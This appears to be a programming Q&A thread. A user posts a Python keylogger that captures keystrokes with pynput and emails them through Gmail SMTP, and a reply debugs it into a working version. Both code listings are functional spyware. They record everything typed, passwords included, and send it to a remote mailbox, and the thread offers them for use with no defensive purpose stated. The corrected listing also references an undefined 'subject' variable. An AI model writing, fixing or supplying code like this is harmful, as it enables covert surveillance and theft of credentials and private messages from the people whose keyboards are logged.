This code is supposed to log my keystrokes and send them to my email (which I took out of the code for now). I do get the emails however it doesn't send them with the keystrokes, every email is blank. Does anyone know how to fix this?
import smtplib
import pynput
from pynput.keyboard import Key, Listener
email = ""
password = ""
server = smtplib.SMTP_SSL("smtp.gmail.com", 465)
server.login(email, password)
full_log = ""
word = ""
email_char_limit = 10
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log()
full_log = ""
elif key == Key.shift or Key.shift_r:
return
elif key == Key.backspace:
word = word[:-1]
else:
char: f"{key}"
char = char[1:-1]
word += char
if key == Key.esc:
return False
def send_log():
server.sendmail(
email,
email,
full_log
)
with Listener(on_press=on_press) as listener:
listener.join()
I just made a few changes and got it working. There was an issue with your full_log
variable. There was a mistake in the conditioning part of the first elif
statement where your condition should be key == Key.shift or key == Key.shift_r
. There was a mistake with char: f"{key}"
. It should be char = f"{key}"
. Two other important statements you forgot were
full_log += word
word = ""
Those lines need to be included at the end so the words are concatenated to the full_log
variable. Other than that every thing works fine now.
Below is the corrected version of your code.
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import pynput
from pynput.keyboard import Key, Listener
full_log = ""
word = ""
email_char_limit = 10
def send_log(log):
print(log)
email_user = 'from mail address here'
email_password = 'password'
email_send = 'to mail address here'
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
body = log
msg.attach(MIMEText(body, 'plain'))
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(email_user, email_password)
server.sendmail(email_user, email_send, text)
server.quit()
def on_press(key):
global word
global full_log
global email
global email_char_limit
if key == Key.space or key == Key.enter:
word += " "
full_log += word
word = ""
if len(full_log) >= email_char_limit:
send_log(full_log)
full_log = ""
elif key == Key.shift or key == Key.shift_r:
return None
elif key == Key.backspace:
word = word[:-1]
else:
char = f"{key}"
char = char[1:-1]
word += char
full_log += word
word = ""
if key == Key.esc:
return False
#print(full_log)
with Listener(on_press=on_press) as listener:
listener.join()